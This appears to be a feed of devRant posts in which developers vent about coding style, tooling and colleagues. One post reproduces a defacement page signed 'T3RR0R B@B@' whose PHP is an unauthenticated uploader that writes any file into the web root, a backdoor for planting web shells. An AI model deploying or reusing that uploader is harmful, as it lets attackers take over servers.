Tried flutter for the first time in life, for 2 days, java based Android dev here.
I have some.... thoughts...
Flutter does not feel extremely new to me. It is very much relatable if you have ever tried basic the spring/ other java based gui framework. It is trying to achieve the goods from multiple worlds,its so far good, but mann its playing on thin ice.
Flutter : Yo boy embrace me. I am the beauty. checkout my hot reload.
Me :❤️❤️😍 (But wait. your first execution is wayy longer than a simple android studio build. And AS would generally take smaller time after every rebuild. And you are going to take the same long time as first build, if app gets closed or my usb gets accidentally removed. So I see what you did there ;))
Flutter: Ha. Checkout my function passing as parameter. ever thought your puny java going to give you that?
Me :you got me ,❤️. (Although this style is not so uncommon with web devs)
Flutter: everything is a widget, everything is stateful or stateless, Single Streams FTW!
me: ❤️
Flutter:You kotlin devs are gonna love me, i got Small, concise code
Me: Now wait, This is a thin ice for me, okay? I hated when kotlin replaced everything with symbols & lamdas for a confusing but small code, So be careful,even though your code is still good.
Flutter : Control every pixel , dear! No more xmls!
Me : Yes, what is with that? are we accidentally going in the past?
Java desktop apps, spring framework used to build whole layouts with programming language. The day i stepped into Android, it was xml for ui and java/kotlin for code. was that a bad decision or is this one?
Anyways i liked my stuff seperated, but that's just me.
Flutter : Ugh so much whining. Are you going to work with me or not?
Me : Yes mam! ❤️4 -
So you heard from that awesome tool that apparantly everybody uses.
Go to the web page:
One single continuous page in 90ies style with random blahblah targetting expert users and various edge cases without context. Some lines about arcane build commands in an unfamiliar language.
Not even a single, comprehensive line, what it does, what it is good for, no minimal example or hint even how to run it.
So you write thousands of lines of dense code, but are not able to drop some first lines of plain, understandable english for people just visiting the first time? How hard could it be? Fuck you, srsly.4 -
I put the same song in a forever loop.
There are 3 stages each increasingly stronger! :
Level one: get lucky - daft punk
Level two: whiskey in a jar - Metallica cover
Level three: gangnam style - psy
I close all im, email and whatnot and code till exhaustion.
I normally listen to metal and classical music BTW.
It works2 -
My first job and the amount of bad code I had to work with influenced my coding style a lot.
One thing is reading about bad examples. Another thing is it to maintain these bad examples.3 -
I love Google Docs.
I hate their white-only style.
I love writing at night...
So I made myself a userscript to help my eyes when working late. Unfortunately they have css classes' names constantly changing (dynamically generated) with each update of the source code and I was too lazy to go full javascript on them because it'd make a lot of "getElement..." stuff or even jQuery only to change the theme.
It wasn't like full broken page, no... only some elements were broken, but in places it'd burn your eye out in 2am when the theme is almost black.
I felt like I have to do something, because I don't want to lose the Docs at night, but writing on their email list would be like talking to the wall. Then they updated again, some elements changed again and I was like... man, fuck you!
div#doclist > div > div > div > div > div > div > div > div+div
div#doclist > div > div > div > div > div > div > div > div > div > div+div
It works, if you are interested: https://github.com/KeyWeeUsr/...18 -
give up on working hard
doesn't mean shit in the long run
it only matters who you can bullshit and how much money they have
*really* i mean this
at this point i've seen it so many times, and i thought the world couldn't be this dumb... but somehow that's really how it all works, there's really no secret
much better to just have had internship at some silicon valley company - their for loops, functional code, and abstracted classes are far better than the ones anywhere else, don't you know?
just wish the world would grow the fuck up, but alas, they have to remain wimpy kiddy caveman mentality style5 -
Not too long ago, I was looking over my friend’s HTML with embedded CSS code. He had two separate style tags. I looked at him and asked: “Why do you have two style tags?”
He responds: “Because I’m a lazy boi”2 -
I'm looking at old code that I wrote around half a year ago, and noticed that my coding style changed over time (relying more on arguments to pass messages between commands and functions, rather than sourcing the result of a command). I feel like this old code isn't truly mine anymore. It's thousands upon thousands of lines of code though... Given that, would you rewrite it or just move along with the existing design? I mean in my opinion the current code really sucks.4
-
Because, definitely, size shouldn't matter.
Code description for the blind: if the size of this query is loved, then close the database and die.8 -
Found this beautiful piece of code, that I wrote apparently a year ago .... oh my 😂 🤦♂ 😅
If I could travel back in time, I would would slap myself for doing this. Although I remember, why I did this, because of many min()/max() operations that I needed. I wanted to keep the code, so that I would know, which code piece belonged to which part, but man ... is that badly written! Nowadays with Clean Code style, I would certainly do it differently.7 -
Testers in my team have been told like 1000 times to follow the style guides that we all follow. That's not that big a deal. The big deal is that they were put on this project without having any mathematics background when the project is all about geometric stuff. So after me as a developer having to put so many hours to explain to them why the tests are not covering the requirements or why the tests are red because they are initializing the data completely wrong, I ask them pretty please to do the checks for the coding style and I have already been 4 hours reviewing code because not only I have to go through the maths and really obscure testing code to ensure that the tests are correct, but every line I have to write at least 4 or 5 style corrections. And some are not even about the code being clean, but about using wrong namespaces or not sticking to the internal data types. For fuck shake, this is embedded software and has to obey to certain security standards...3
-
When I started my internship my PRs got absolutely blasted by code style comments and suggestions about code that could be more optimized
Now, almost a year later, I can proudly say my PRs only get a maximum of 2 comments and I've seen myself grow over the months :)3 -
Oh, gather 'round fellow wizards of the code realm! 🧙✨ Let me regale you with the epic tale of software sorcery and the comical misadventures that come with it! 🤪🎉
So there we are, facing the dreaded Internet Explorer dragon 🐉 - an ancient, stubborn beast from the era of dial-up connections and clipart-laden websites. It breathes fire on our carefully crafted layouts, turning them into a pixelated disaster! 🔥😱
And then, the grand quest of cross-browser testing begins! 🚀🌍 One moment, your website is a shining knight in Chrome's armor, and the next, it's a jester in Safari's court. A circus of compatibility struggles! 🎪🤹
CSS, the arcane art of cascading style sheets, is our magic wand. But oh, the incantations can be treacherous! A slight misstep and your buttons start disco dancing, and your text transforms into a microscopic mystery! 🕺👀
But fear not, brave developers! We wield the enchanted sword of Stack Overflow and the shield of Git version control. We shall slay bugs and refactor with valor! ⚔️🐞
In this enchanted land, documentation is the mystical parchment, often written in the cryptic dialect of ancient monks. "This function doeth stuff, thou knoweth what I meaneth." 📜😅
And meetings, oh the meetings! 🗣️🤯 It's like a conference of babbling brooks in the forest of Jargon. "Let us discuss the velocity of the backlog!" 🌿🐇
But amidst the chaos, we code on! Armed with our emojis and a bubbling cauldron of coffee, we persist. For we are the wizards and witches of the digital age, conjuring spells in Python and brewing potions in Java. 🐍☕
Onward, magical beings of code! 🚀 May your bugs be few, and your merges conflict-free! 🙌🎩3 -
Same as we look at some old pages and see "oh this is unstyled table layout, that is xHTML inline style - it's from the 20th century"
People will look at pages of today in like 20 years and be like "Oh gosh, the material design phase. - oh the apple-blur-copy-cat-phase, oldish HTML5 code, that's from the 2010-20-ies"4 -
Speed programming contest
Is this a thing... it should be.
After years of practice
I can type and code very fast with in shortcut only style
It actually impressed a
Non techy girl3 -
http://".$_SERVER['HTTP_HOST']."/server, check the code below
<html lang='en-US'><head><title>T3RR0R B@B@</title>
<a href="https://www.facebook.com/mr.T3RR0R" target="_blank"><h2>Click Here !</h2></a><br>
<style>
body{cursor:url("http:////"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}
body {
background-color: #000000;
background-image: url(https://imgwm.com/images/...);
<!--http://twitrcover.com/ar/uploads/...-->
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-position:right top;
background-repeat:no-repeat;
background-size:110%
}
.style1 {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
</style><br><br><br>
<br>
<center><?php
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "Ciee Sukses Uploadnya :* -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo "gagal upload root >:(";
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
echo "Ciee Sukses Uploadnya :* <b>$files</b> di folder ini";
} else {
echo "gagal upload >:(";
}
}
}
?>
<!DOCTYPE html>
<html>
<title>K.I.T.A</title>
<audio autoplay loop>
<source src="http://micro.byethost24.com/KITA.mp..."></source>
</audio>
<head>
<link href='https://fonts.googleapis.com/css/...' rel='stylesheet' type='text/css'>
</head>
<body bgcolor="#2b2b2b" link="gray" text="gray">
<center>
<script type="text/javascript">
TypingText = function(element, interval, cursor, finishedCallback) {
if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
this.running = true;
return;
}
this.element = element;
this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
this.interval = (typeof interval == "undefined" ? 100 : interval);
this.origText = this.element.innerHTML;
this.unparsedOrigText = this.origText;
this.cursor = (cursor ? cursor : "");
this.currentText = "";
this.currentChar = 0;
this.element.typingText = this;
if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
TypingText.all.push(this);
this.running = false;
this.inTag = false;
this.tagBuffer = "";
this.inHTMLEntity = false;
this.HTMLEntityBuffer = "";
}
TypingText.all = new Array();
TypingText.currentIndex = 0;
TypingText.runAll = function() {
for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
}
TypingText.prototype.run = function() {
if(this.running) return;
if(typeof this.origText == "undefined") {
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
return;
}
if(this.currentText == "") this.element.innerHTML = "";
if(this.currentChar < this.origText.length) {
if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
this.tagBuffer = "<";
this.inTag = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
this.tagBuffer += ">";
this.inTag = false;
this.currentText += this.tagBuffer;
this.currentChar++;
this.run();
return;
} else if(this.inTag) {
this.tagBuffer += this.origText.charAt(this.currentChar);
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
this.HTMLEntityBuffer = "&";
this.inHTMLEntity = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
this.HTMLEntityBuffer += ";";
this.inHTMLEntity = false;
this.currentText += this.HTMLEntityBuffer;
this.currentChar++;
this.currentChar++;
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
} else {
this.currentText = "";
this.currentChar = 0;
this.running = false;
this.finishedCallback();
}
}
</script>
<br><br><br>
<div id="satu">
<embed src="https://youtube.com/v/tec_KllmOH4/...
<br>
<b style="font-size: 40px;">hacked by T3RR0R B@B@</b>
<br>
- use your brain to repair this system<br>
Scary Crazy Forbidden<br>
@2018<br><br>
Contact : fb.com/mr.T3RR0R
<br></div>11 -
Anyone draw out the logic of a process by hand before coding much?
I've been doing that more and more, and it's handy but ... it's also kinda tedious making them on paper or even just in the VS Code extensions I've tried.
I'd really like a way to bust out quick flow charts in VSCode and there's a Draw.io add on and it's ok but lotta fidgeting with flow chats and dragging stuff.
It doesn't have to be pretty and it doesn't have to be super feature rich.... just want to quick bust out a series of steps flow chart style or ... hell any way fast and visual like.
Anyone use anything they really like?11 -
Thank God for Ctrl+Alt+L in PHPStorm...one guy from our company seemed to like this code style once upon a time:
if ($variable > 0)
{
// stuff
}
else
{
// other stuff
}6 -
Not sure if it's the worst code review but it's a recent one.
We don't really do code reviews where I work unfortunately but my coworker used my framework for the first time (build some nice composer libraries for cmdline projects) and asked if I could make them do autoloading.
He never used namespaces before so I was glad to help him out.
What I saw was a dreadful mess. His project was called "scripts" so good luck picking a namespace...
Than it was all lose functions in the executable file. All those functions are however called by a class in another file (if they where not calling eachother as a cascading mess). That class was extending an abstract class from my library as instructed. However I never imagined my lib being raped like that.
The functions themselves are a horrible mess. Nothing uniform completely different style (our documentation states PSR's should be used).
Parameters counts higher than 5.
Variable names like Object and Dobject (in calling function Dobject is Object but it needs a fresh one.
If statements on parameters that need basically split it in two (should simply be to functions)
If else statement with return of same variable as a single line (sane people use ternary for that)
Note that I said functions. All of it should have been OO and methods. Would have saved at least some of the parameter hell.
I could go on and on. Do I think the programmer is bad yes (does not even grasp interfaces, dep injection, foreach loops). Is this his best work no. He said that for a one of script like this it just has to work. Not going to be used elsewhere. I disagree as it is a few thousand lines of code that others have to read too.2 -
I decided to learn Flutter, because the idea of a common code base between Android and iOS sounds nice. I'm late to the party, I know.
So I install everything and start typing in the tutorial. TAB... two spaces. I absolutely hate that so let's change it. In the settings, it sends me to a FAQ which more or less says this is the way it is, deal with it. But I want my tabs to be four spaces, every code editor since the dawn of time could do this... I'M PAYING FOR THIS SHIT!!!!!!!
Ok, let's check the JetBrains website, I'm starting to lose my patience, but let's do it. At this point I should also mention that I'm feeling pretty stupid. I mean, I'm checking on the internet about how to do something which obviously must be obvious, why am I not seeing it?
I find a page on the official website. JetBrains' replies are along the lines of "Why would you want that?", "The holly wars between tabs and spaces are over", "Most people like it this way", "The overlords said this is the coding style to be used" (Ok, the last one was me reading between the lines). At the end of the thread, they provide a "hackish solution" (their words, not mine). Which doesn't work. Because why should it?
Not even when PyCharm's debugger randomly shat itself and I had to use print statements I got so angry. That was relatively fine, bugs are a fact of life, and the overall package is good, so I kept paying.
But now you're telling me that I cannot use what should be a common feature of every code editor just because you and the overlords know better?
Well, fuck you and the horse you came in on JetBrains, you've just lost a customer.16 -
I might create a coding course for people actually interested in learning how to program correctly (not Get Rich Quick Bootcamp style, not webapps, not magic Javascript incantations).
I have an idea on how to structure it but I worry it'll be too weird for most people to follow (starting from binary theory and then teaching machine code and then working upwards to C and beyond) explaining how a computer works along the way, showing the real errors with annotations explaining things, etc.
I've always wanted to teach in this format but I feel as though it's too.. idk, "useless" to most people? But I've never had a friend go through e.g. CodeAcademy and come out knowing how to actually make applications from start to finish without just hacking together random React components and hoping the frankenstein project works well enough.
The target demographic would be those either completely new to programming or just have a fundamental or web-centric preexisting knowledge, or maybe those who simply want to understand computers better.
Am I barking up a shitty tree?28 -
*[style*="width:"],*[width] {max-width:100% !important;}img[width] {height:auto !important;}
* !important feels so hacky but it works!
Old site with ancient code and multiple people not versed in css or even newer html. Decided, ah F it, just workaround that and * all the things!1 -
Look, normally I don't give a shit how others code, but when the company's style guide is literally just the statement "use eslint", and I have to do code reviews...we will start to have problems.1
-
Python Question:
I'm learning Python and thought I'd start with web services since that's a concept I'm familiar with. My question is, in the attached code, am I doing it right when it comes to python? Cuz I feel like I'm following the same structure I follow in C# WebAPI and NodeJs
What about naming style? Is is the default for python? cuz I'm also using C# naming style :\
Thanks in advance ranters :)26 -
I don't advocate low code solutions. But what Microsoft is doing with Power Fx is legit pretty cool.
If anything it would expose people to learn about proper development since the formulas can grow bigger than standard small Excel formulas while simultaneously exposing them to a declarative and functional style of coding. According to what I am seeing, and y'all correct me if I am wrong, but this seems to be made to let pro devs jump in and help with more complex code while at the same time exposing it to non devs in an easy way.
I kinda dig this one2 -
We're using Angular in the shittiest possible way.
It's wrapped in .NET, the code follows no standards and we lack any sort of component hotload functionality with _fat_ data.
When I change a SCSS style, the whole page reloads and it takes me 15 minutes to get back to the state I was in to say "Hmm, more to the left."
I hope this place burns to the ground.5 -
Spend 3hrs on a coding excersize for a job interview and recieve the following as the reason they are not moving forward
"Coding style and an error"
Ask for a less vague reply and they specify a problem my code not only accounted for but had a comment specifying how it accounted for it and a spelling mistake in my GitHub repository
Goddam looking for a job is soul destroying7 -
I'm just frustrated. I wanted a simple, statically-typed language that doesn't get in your way and offers GC. I can't find anything "just perfect".
- Go: enforces a style on you, nono.
- Rust: ownership system. I love it, but it's too low level for what I want.
- Scala: seems to have a bunch of useless and bug-prone features.
- Java: I hate how you have to declare and catch exceptions. Good practice, yes, but the code gets bloated with try-catch statements.
- C and C++: Too low level, no GC.
- C#: maybe? idk
I want to make a back-end for an app but I want it to be easy and fast. I need something with a gentle learning curve, not keep fighting the language. I'm between Java and Rust. Java's easier to use. Rust is rust <3, but it's hard, I haven't learned it properly and I just keep fighting the fucking compiler.39 -
Let's face it: I am and will always be a tinkerer. Yes, I know my ways around, I can sneak into legacy code bases easily and throw new stuff in there, I've seen software stacks. But scarcely sound design, really modular. Even from the cleverer, experienced ones. They can master more complexity, so they can handle more spaghetti. Some essay from the 80's had this grand idea to organically 'grow' software. That's how it looks like most of the times: cancerous, parasitic super fungi (armillaria). Yeah, we all know have to fight bit-rot and entropy, but it was all lost before already. We'll never get rid of legacy protocols, legacy code.
And even when we go green field, start a fresh. Yeah, take a great design, make everything new, after some months of throwing features and outer constraints at the thing, it's the same old mud again.
But we can still dream on: some day I will design great APIs, I will have great test coverage, documentation, UML design, autometed tests, fuzzing, memchecking, I'll work professionally, clean coder style.
Pfft forget it. Maybe change for consulting, because we'll continue to dream of the 'clean' code, so you can sell the next 'recipe', development method. It's like diets. As effective. For the one selling.2 -
For a long time I was of the opinion that pointer variables in C/C++ should have the asterisk immediately after the type name (e.g. int* foo).
Eventually I became convinced that it makes more sense to have it before the variable (e.g. int *foo).
Now I find routines that return pointers look weird, e.g.: void *allocate_something() so I am considering adopting the original style I used.
The only advantage of having the asterisk before the variable name I am aware of is that it is easier to remember to add an asterisk if you define more than one pointer on that line.
Anyone else find it hard to settle on code style guidelines for their own personal projects?12 -
I swear this mofo runs all of my code through pylint, he comments about every PEP8 inconsistency and every formatting decision he doesn't like.
Same guy also got in a small debate with one of our converts from the older project where they used C#, because he still writes everything in Windows-style CamelCase. After that, when we needed to decide on a password for a shared thing, I came up with "camel_case".1 -
So I just finished writing my first Code Style/Standards documentation. I guess for now it's more just for me to figure out what annoying things I want changed but wanted to get everyone's opinion and thoughts.
I think this is safe to post as nothing company specific.
https://github.com/allanx2000/...2 -
Who the fuck invented Hungarian notation?
lpszName, bVisible, pNext, ppData...
A variable's type should already be clear by its name and scope. If not, get yourself some decent IDE that helps you out. Why this style is still in use in code like the Vulkan API is beyond me... IT IS NOT USEFUL!3 -
My biggest influence on coding style is:
"If code make reviewer puke, code bad."
In all seriousness though, I think the biggest influence is seeing messy code and not trying to replicate that.
I think every code file, however ugly it is, tells you a story. Maybe the coder was less experienced, maybe it was written during crunch or the coder is an enterprise software engineer who has to make a factory for everything and everything is generic.
In my opinion there is no perfect code style. You do what's required and hopefully in your best ability, and, as a bonus, think of the person who has to look at your code next...
For me it's kind of hard to tell whether my code is good. I have no reviewer in the company, which brings the risk of writing code so only you understand it... but so far it has worked and I've definitely seen worse than my 1 year old files. 😄 -
My coding style is extremely fundamental (I guess); meaning I have to write every piece of code myself and I don't like to use anything ready, which makes me very slow and costs the employer lots of money and time.
It's becoming very discouraging, but I just can't give it up!
Any ideas how to improve this situation?5 -
When you get a freelance dev who thinks he is a superstar dev and he is trying to prove he knows his stuff by throwing his 2 cents at everything and shits all over every architecture and code style decision of the project, even though he is not even familiar with the framework used by the project...1
-
Ban visual programming programs, like scratch after the fist month introduce them to enhanced Google search strings and let them code on the command line going from imperative, over functional to object oriented programming styles using languages suited for the current style. Not like using Java from the get go. I hated it, waiting until everyone got to the point where they kind of understood the logic but failed at using correct syntax and efficient coding styles.
-
My biggest influence on coding style is working with other people's code. I know the temptation to write "clever" code and I've been (and probably still occasionally am) guilty of it myself, but it's not until you have to debug someones oneliner iterator which has !(i-j) as the stop condition that you start to appreciate dumb, boring, obvious code.
If having a series of if checks in a long list makes it readable, keep it that way. If it makes it more readable to rewrite it into a nested switchcase with a couple of ternary bits, go ahead. Just don't spend half a day wrapping it up into two layers of abstraction that will require an onboarding process for the rest of the team.2 -
Tldr: I think I made a company fire some dev a year ago.
I was working for this company remotely, alone, on a very big and old legacy php project where they still used echo '<code><code/>'; and i was a very junior junior front end developer, needed to make the website work somehow (whole new design). They brought in a random guy to work with me, and we started working.. I was using bitbucket to version my changes, and I asked him to do the same. He tried pushing his changes once and then practically never again because he started working in files that i was working on and there were git conflicts, and he gave up, even though i asked him to do that... he then statted using general classes to style the page (like .color) with absolute positioning and it broke everything everywhere. He then proceeded to minify half of the php files 'because of performance', I remember talking to other few people in the company and he disappeared a few more days later. I never finished the project because they stopped it randomly and i think i got him fired even though he could've continued working in the company -
I am already tired before even looking at this code.
Looking at your code makes me cry.
I can insult myself whole day but it won’t be enough to survive looking at your coding style.
If cpu could talk it would ask for heater removal because your code depresses it so much.
Looking at your code makes my monitor burn out.
Downloading your code makes my hard drive stop.
And my favorite:
You’re already good developer so now stop writing and appoint as manager / tester. -
My worst experience has actually been trying to fix someone else's code. One of my friends is in a graphic design class, and right now they have to do a basic site in DreamWeaver (a small nightmare on its own, I've found that the previews they show are never quite correct). I decided I'd at least pop in to help out a bit, cause they kinda have no clue what they're doing. They are graphic design students, NOT developers, and it's very easy to see that.
One of the first things I noticed was EXTREMELY unorganized code, but that's forgivable. But...I once saw probably 5 </body> tags in someone's code, a JavaScript function inside of the <body> tag, and a bunch of CSS statements in the <script> tag that they had one if the JS functions in.
I remember seeing this stuff, and I thought "what the actual fuck?". The dude was like "yeah it's unorganized as hell, I know"
...That's not the problem. CSS goes in either a <style> tag or a separate file (THEY HAD A SEPARATE CSS FILE). JAVASCRIPT GOES IN A <script> TAG OR A SEPARATE FILE
But, I get it. They're graphic design students. They can outdo me in probably everything in the Adobe suite (except DW as I learned). I once watched a girl in there do a project in Illustrator. I had no fucking clue what was going on. And when I was talking to her about it, she said "that's what I was thinking when we were watching you fix our code"
Kinda got a little sidetracked there. Basically, worst experience is non developers writing code for an assignment. -
/me joining a new front-end project with enforced prettier rules to complete the build pipeline.
No double-quotes ! Single-quotes all the way !
- weird flex, but OK. I'll comply
No CRLF ! LF only !
- Ok, now you're starting to annoy me. With git autocrlf I can have my precious CR locally bu check in only LF and YOU CAN GIVE THE FUCK ABOUT WHAT LINE ENDINGS I USE LOCALLY WHEN EVERYTHING WILL BE CORRECT WHEN PUSHING COMMITS!
No semi-colons !
- Now I hate you18 -
I called it TextPaste, or was it VidPaste 🤔. Anyways, it was an attempt to promote my laziness in copying code from YouTube videos or images by using text recognition. I called my coding style "Lazy Art," 😂. It was completed....sorta. I mean, it worked sometimes....5
-
Love when i go to computer stores, i simply make a little bash code which displays numbers matrix-style and all the people just stare amazed.
-
Senior colleague wants to remove eslint from a project, it keeps giving him errors when his lines are several hundred characters long 😐13
-
Worst experience of my teachers?
I had handed in an exercise, which the teacher ostensibly thought was so elegant that he wanted to show it in class. I felt complimented and recognized. But then he proceeded to show the code on the screen, and I objected: "this is not my code, don't give me credit for this piece of shit". It had written-by-said-teacher all over it, because his coding style includes mysterious omnipresent acronyms that you could never guess the meaning of. My peers didn't believe me and thought I had written said not-so-elegant code, and the fuss about it degraded my reputation.
To this day I'm wondering as to why he humiliated me like that. He probably had best intent, but I don't get it -
Myself. I started with PHP about 7 years ago. Most people nowadays don't really start writing vanilla code in language they are learning anymore. Everyone just want to see results and fast, I didn't. I needed everthing to be perfect from the start. It took me a little longer to get shit done as to anyone else and sometimes it really bothered me. Am I stupid? In the end it turned out, I was not *that* stupid. In the end I learned to hate half-baked solutions of these "fast" people.
Along the way, my coding style got better and better as I gained experience. In my opinion, coding standards are a good for helping you find your own coding style. You shouldn't use them blindly just because they exist. You and your colleagues should always find the optimal solution that works for you. I probably wouldn't be able to work in a company where the code is written the way I hate. It hurts when I have to write something under a lot of pressure and just glue things together resulting in a pile of mess.1 -
Did anyone here created a css style sheet for universal use?
Or writing separate code for every single project?18 -
Pet peeve: the claim that static typing prevents errors.
Today I worked on a C# project that's a mess of nulls, side-effects, inferences, and race conditions. Then I went back to a JS project that's twice the size but written in a clean, well-tested, FP style and currently has fewer than 10 issues logged.
Look, I get that there are upsides to static typing, and I'm open to introducing typescript or flow for our JS code.
I just can't stand the faux-concern from the static typing dingleberries when they are the ones who produce these horrendous lumps of unmaintainable shit, and the JS/Python/Ruby/etc people are over here quietly reinventing functional programming and code modularity.10 -
Sharing a first look at a prototype Web Components library I am working on for "fun"
TL;DR left side is pivot (grouped) table, right side is declarative code for it (Everything except the custom formatting is done declaratively, but has the option to be imperative as well).
====
TL;DR (Too long, did read):
I'm challenging myself to be creative with the cool new things that browsers offer us. Lani so far has a focus on extreme extensibility, abstraction from dependencies, and optional declarative style.
It's also going to be a micro CSS framework, but that's taking the back-seat.
I wanted to highlight my design here with this table, and the code that is written to produce this result.
First, you can see that the <lani-table> element is reading template, data, and layout information from its child elements. Besides the custom highlighting code (Yellow background in the "Tags" column, and green gradient in the "Score" column), everything can be done without opening even a single script tag.
The <lani-data-source> element is rather special. It's an abstraction of any data source, and you, as a developer can add custom data sources and hook up the handlers to your whim (the element itself uses the "type" attribute to choose a handler. In this case, the handler is "download" which simply sends a fetch request to the server once and downloads the result to memory).
Templates are stored in an html file, not string literals (Which I think really fucks the code) and loaded async, then cached into an object (so that the network tab doesn't get crowded, even if we can count on the HTTP cache). This also has the benefit of allowing me to parse the HTML templates once and then caching the parsed result in memory, so templates are never re-parsed from string no matter how many custom elements are created.
Everything is "compiled" into a single, minified .js file that you include on your page.
I know it's nothing extraordinary, but for something that doesn't need to be compiled, transpiled, packaged, shipped, and kissed goodnight, I think it's a really nice design and I hope to continue work on it and improve it over time1 -
So the guy I replaced as the senior dev on my project (because he was lazy) is now trying to give me advice on how to cleanup my code.... This is the motherfucker who blatantly copies and pastes from one library to another and pushes the code without doing ANY testing and so I had to spend many weekends cleaning up his pile of shit code, and now I have 3 new tickets labelled 'style updates' that he wants me to merge in.... Fuck him, I'm not merging his code4
-
My big grievances when doing code reviews, lots of code reviews....
Constants. How difficult is to create constants files for reuse and readability?
Comments/java doc. I don't get any help by seeing this is an automatically generated block to get by check style.
*slap* -
Use .editorconfig files when working with multiple developers. Otherwise your file encoding and code style will get fucked up eventually.
-
Started a new contract:
Dev: "here, take this draft document containing a rough explanation of the requirements and write this service that exchange messages with these two subsystems"
Me 😐"ok"
-- couple weeks later --
Dev: "oh btw, you should go through ALL the fields in those messages described in the 'documentation' and double check them because we use millimeters and they use meters, we measure milliseconds and they use seconds. You should handle conversions when you deal with those messages"
Me (in my mind): "fucking son of a bitch! Why didn't you tell me this little piece of information at the beginning so I could have accounted for that instead of bloating the code now with your spaghetti style, full of horrible hacks, ifs and workarounds?
Me 😐: "sure, I will"
(don't worry, in the end I managed to find a clean solution for that 😉) -
🔥👽🤘🏻
I've been CRUSHING it lately, so stoked!!!
**Also, this means that in the near future something will crush me because I have a few subjects on deck I need to lock down.
1. Deno
2. TypeScript(deep dive)
3. CPP (currently 75% done with my 2nd masterclass, first one complete)
4. Multi-platform local device storage (Sqflite/mongoDB/shared preferences/Hive)
5. REST/api/requests/json management && application
6. Implementing Firebase authentication using Apple, Twitter, and mobile OTP
7. Cloud functions && server scripting/automation
8. Intro to embedded systems/OS/kernels
9. Steadily improve my code style, design strategies, and build patterns that are team friendly && provide easier code base maintainibilty
10. Influence, teach, and/or spark the interest of someone new to development in any possible- all that matters is getting new people on board, making sure they are stoked about, and last but not least making sure they feel welcome in the community and are able to start off in the right direction.
cheers, ya fockers!!!! -
My colleagues: "We should fail for scalastyle issues! Warnings will get ignored! Nobody fixes them! We should enforce a clean code style!"
Also my colleagues: Create PR with loads of `// scalastyle:off` flags comments.
¯\_(ツ)_/¯1 -
I'm always helping out a girl in my class with her coding assignments but her code is absolutely atrocious. I don't have the heart to tell her that her whole method, file and variable naming, and process is wrong and is causing her so many headaches.11
-
I'm shitting there hammering out some code butchering some real problems when I suddenly realise I'm surrounded. I look around and yes it's the bloody committee.
The committee is what I call the rest of the department and it is dominated by the old guard which comprises of the programmers that have been around for longer.
None of the old guard can program particularly well but because they had been around the longest they'd all grown senior. The committee had free reign but anyone else doing anything differently has to get approval from the committee.
The only way to code otherwise was to copy and paste existing code then to primarily rename things. If anyone did anything that hadn't been seen before then it would have to be approved by the committee. Individual action was not permitted unless you were old guard.
I swept my headphones away expecting it to be something unimportant. It was.
First things first they announce. We're going to add extraneous commas to the last element of all possible lists separated by comma including parameters or so they say. Ask but why so I do.
Because the language now supports it. They added support for it so it must be the right way someone proclaimed. Does it? I didn't realise we were waiting for it. Why do we want it though?
Didn't you hear? It's all over the blogosphere. It massively improves merge requests. But how I ask?
Five minutes later I grow tired of the chin stroking, elbow harnessing, slanted gazes into the yonder and occasionally hearing maybe its because and ask if they mean when you for example add an element the last element registers as changed from adding a comma. Turns out that's all it is.
How often do we see that tiny distraction and isn't it pointless to make the code ugly just for a tiny transient reduction in diff noise I ask. Everyone's stumped. This went on and on and got worse and worse. But it makes moving things around easy half of them say in unison like the bunch of slobs that they are. I mean really. It doesn't make expanding and contracting statements from multiline to single line easy and it's such a stupid thing. Is that all they do all day? Move multi-line method parameters up and down all day? If their coding conventions weren't totally whack they wouldn't have so many multiline method prototypes with stupid amounts of parameters with stupidly long types and names. They all use the same smart IDE which can also surely handle fixing the last comma and why is that even a concern given all the other outrageously verbose and excessive conventions for readability?
But you know what, who cares, fine, whatever. Lets put commas all over the shop and then we can all go to the pub and woo the ladies with how cool and trendy we are up to date with all the latest trends and fashions then we go home with ten babes hanging off each arm and get so laid we have to take a sick day the following to go to the STD clinic. Make way for we are conformists.
But then someone had to do it. They had to bring up PSR. Yes, another braindead committee that produces stupid decisions. Should brackets be same line or next line, I know, lets do both they decided. Now we have to do PSR and aren't allowed to use sensible conventions.
But why, I ask after explaining it's actually quite useful as a set of documents we can plagiarise as a starting point but then modify but no, we have to do exactly what PSR says. We're all too stupid apparently you see. Apparently we're not on their level. We're mere mortals. The reason or so I'm told, is so that anyone can come in and is they know PSR coding styles be able to read and write the code. That's not how it works. If you can't adjust to a different style, a more consistent style, that's not massively bizarre or atypical but rather with only minor differences from standard styles, you're useless. That's not even an argument, it's a confession that you've got a lump of coal where your brain's supposed to be.
Through all of this I don't really care because I long ago just made my own code generators or transpilers that work two ways and switch things between my shit and their shit but share my wisdom anyway because I'm a greedy scumbag like that.
Where the shit really hit the fan is that I pointed out that PSR style guide doesn't answer all questions nor covers all cases so what do we do then. If it's not in PSR? Then we're fucked.4 -
Have some downtime today, so since I lucked out and found some old backups (from before I used Git) of a project I was planning on revisiting, I decided to fire it up and see what I can do to get that going again.
And discovering just how much my coding style has changed since then...
